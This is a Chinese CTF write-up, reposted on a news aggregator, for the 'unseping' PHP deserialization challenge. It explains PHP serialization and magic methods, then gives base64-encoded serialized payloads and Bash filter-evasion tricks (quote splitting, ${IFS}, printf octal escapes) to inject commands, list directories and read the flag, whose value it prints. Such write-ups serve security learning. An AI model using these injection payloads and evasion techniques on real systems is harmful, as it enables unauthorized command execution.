最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

全球今日讯!攻防世界-unseping(序列化,Bash shell)

来源:博客园

这是一道序列化的题目,结合了Linux Bash shell知识

一、基础知识点

  • 序列化

序列化的概念: 


【资料图】

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。常见有将java、PHP、c#、js中的对象转化为二进制、XML、json等数据格式。

php序列化:

serialize()返回一个字符串,包含着可以储存于 php 的任何值的字节流表示。unserialize()可以用此字符串来重建原始的变量值。用序列化来保存对象可以保存对象中的所有变量。对象中的函数不会被保存,只有类的名称。要能够unserialize()一个对象,需要定义该对象的类。也就是,如果序列化了 page1.php 中类 A 的对象 $a,将得到一个指向类 A 的字符串并包含有所有 $a 中变量的值。如果要在 page2.php 中将其解序列化,重建类 A 的对象 $a,则 page2.php 中必须要出现类 A 的定义。

php序列化示例(参考链接php反序列化漏洞):

类中的属性的可见性:

类属性可以定义为public, private 或者 protected。在没有任何访问控制关键字的情况下,属性声明为 public。

1)public:公有的,可以在任何地方被访问

2)private:私有的,只能被定义的类所访问

3)protect:受保护的,可以被其自身以及子类和父类访问    

  • exec函数:

exec()函数用于执行一个外部程序,语法为:exec(string $command[,array &$output[,int &$return_var ]]); 是用来调用linux命令的函数。exec()函数是被禁用的,要使用这个函数必须先开启。首先是 要关掉 安全模式safe_mode = off。然后再看看禁用函数列表,要把 exec 去掉,重启 apache 就OK了。

exec()函数基本用法:

语法为 exec(string $command[,array &$output[,int &$return_var ]]);

$command 为要执行得命令,为字符类型

$output 为执行命令后输出的结果,为数组类型

$return_var 为命令执行后的返回状态,为int类型

理论上只需要一个参数$command即可

exec()使用示例:

执行$command中的命令后返回结果到$array中,print_r()输出了$array中的内容。

  • __construct ()构造方法:

当使用 new 关键字实例化一个对象时,构造函数将会自动调用。一个类中只能存在一个构造函数。和普通函数类似构造函数也可以带有参数,如果构造函数有参数的话,那么在实例化时也需要传入对应的参数,例如new Students($name, $age)。

__construct的绕过:

反序列化时,类的构造函数即(__construct函数)不会被执行。(参考链接)所以你绕过它干嘛?

  • __destruct()折构方法:

析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特定的操作,例如关闭文件、释放结果集等。在 PHP 中有一种垃圾回收机制,当对象不能被访问时就会自动启动垃圾回收机制,收回对象占用的内存空间。而析构函数正是在垃圾回收机制回收对象之前调用的。

gc机制(Garbage Collection垃圾回收机制):(参考链接)

在PHP中,没有任何变量指向这个对象时,这个对象就成为垃圾。PHP会将其在内存中销毁;这是PHP的GC垃圾处理机制,防止内存溢出。当一个PHP线程结束时,当前占用的所有内存空间都会被销毁,当前程序中所有对象同时被销毁。GC进程一般都跟着每起一个SESSION而开始运行的.gc目的是为了在session文件过期以后自动销毁删除这些文件.二、__destruct /unset __destruct() 析构函数,是在垃圾对象被回收时执行。unset 销毁1的是指向对象的变量,而不是这个对象。三、 Session 与PHP垃圾回收机制由于PHP的工作机制,它并没有一个daemon线程来定期的扫描Session信息并判断其是否失效,当一个有效的请求发生时,PHP 会根据全局变量 session.gc_probability和session.gc_pisor的值,来决定是否启用一个GC, 在默认情况下,session.gc_probability=1, session.gc_pisor =100也就是说有1%的可能性启动GC(也就是说100个请求中只有一个gc会伴随100个中的某个请求而启动).PHP垃圾回收机制的工作就是扫描所有的Session信息,用当前时间减去session最后修改的时间,同session.gc_maxlifetime参数进行比较,如果生存时间超过gc_maxlifetime(默认24分钟), 就将该session删除。但是,如果你Web服务器有多个站点,多个站点时,GC处理session可能会出现意想不到的结果,原因就是:GC在工作时,并不会区分不同站点的session。触发的具体操作可以将一个对象的值赋为新值,则原来的旧值会被回收。__destruct的具体触发条件:

主动调用unset($obj):调用unset函数将指向对象的变量删除

主动调用$obj = NULL:指向对象的变量被置为空,导致原对象无法引用

程序自动结束:程序结束后会自动将对象删除

垃圾回收机制回收:说白了就是前三种情况总和

__destruct触发具体实现:

(1)可以使用数组,给数组设置两个键值对,第一个键值对为 0=>$obj(想要销毁的对象),第二个键值对为1=>NULL,将构造的数组进行序列化后把第二个键值对的键改为0,这样就可以使0这个键所指的对象无法被引用 从而触发__destruct方法。(当程序无法正常结束时)

  • __wakeup()方法:

unserialize()在调用前会检查是否存在一个__wakeup方法。如果存在,则会先调用 __wakeup方法,预先准备对象数据。__wakeup经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

__wakeup的绕过:

将需要进行反序列化的对象的序列化字符串中的成员数改为大于实际成员数即可。原理是:如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

  • 正则表达式

花时间掌握

  • call_user_func_array 函数

参考链接(203条消息) call_user_func_array函数详解进行了解

  • printf绕过(字符串进制绕过)

Linux中的printf函数():

printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出。其格式为:

\NNN 八进制数 NNN 所代表的 ASCII 码字符。\xHH 十六进制 HH 对应的8位字符。HH 可以是一到两位。\uHHHH 十六进制 HHHH 对应的 Unicode 字符。HHHH 一到四位。\UHHHHHHHH十六进制 HHHHHHHH 对应的 Unicode 字符。HHHHHHHH 一到八位

测试截图:

$()与 ` `(反引号):

在bash中,$( )与` `(反引号)都是用来作命令替换的,执行括号或者反引号中的命令。命令替换与变量替换差不多,先完成引号里的命令行,然后将其执行结果作为替换,再重组成新的命令行进行执行。

示例:命令:$ echo today is $(date "+%Y-%m-%d"),首先执行date命令,然后将执行结果替换后组成新的命令$echo today is 2014-07-01进行执行。显示:today is 2014-07-01。注意$$()会将$()返回的结果视为命令进行执行,命令窗口里会有一个$。

  • Linux中对空格的绕过

Linux中的IFS变量:

Linux的bash shell中有一个叫做内部字段分隔符IFS(internal field separator)的变量,该变量常用于在处理文本数据时作为分隔符使用。IFS可以是White Space(空白键)、Tab( 表格键)、Enter( 回车键)中的一个或几个。IFS的设置方法和普通变量设置方法类似:IFS=":"。当该变量为空格时,可用于对空格进行绕过。IFS变量测试结果如下:

我的Linux原本是用的zsh shell,没有FIS这个变量,测试截图如下:

Bash shell空格绕过:

cat${IFS}flag.txtcat$IFS$9flag.txtcatflag.txt

二、代码分析&测试

(1)整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。

先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat flag tac php ls。试着绕过__wakeup,但没用,应该是版本问题

再看__destruct方法,该方法检测ping是否在$method中,并调用了名为$method的方法,且以数组$arg中的值作为参数。

方法"ping"中以输入参数作为外部命令进行执行,并返回了输出结果。

(2)post上传构造后的序列化字符串来查看目录文件,构造方法是$method=ping,$arg为想要执行的外部命令ls,ls可以用""单引号或""双引号进行绕过,注意要闭合,此处是运用了Bash shell中单双引号的特性。另外还要注意$arg是数组的形式:

payload为Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==

返回结果为

(3)发现一个名为flag_1s_here的文件夹,于是再lsflag_1s_here,但是由于flag被过滤,所以又要用引号绕过。同时空格也是被过滤了的,此处用IFS变量进行绕过。将$arg的值改为索要执行的命令l""s${IFS}f""lag_1s_here:

注意构造时引号的细节,单引号会把中间的内容完全视为字符串,但双引号会把内部变量进行解析,若在输入array的参数时用双引号,会对${}中的内容进行解析导致payload构造失败。单双引号的区别在Linux与php中都一样。贡构造的payload为Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

返回结果为

(4)flag大概率是在flag_831b69012c67b35f.php中,目前想要执行catflag_1s_here/flag_831b69012c67b35f.php来查看flag,cat,flag,php都可以用双引号绕过,空格用${IFS}绕过,/要用printf及$()绕过。令$arg=c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp。构造payload为Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

(或者直接对整个要执行的命令用printf及$()绕过。此时$arg=$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160(catflag_1s_here/flag_831b69012c67b35f.php的八进制或十六进制编码都可以)")。

返回结果为:

故此题flag为cyberpeace{15718f834fbc4e1286476df71d1f08eb}

关键词: 垃圾回收 反序列化 十六进制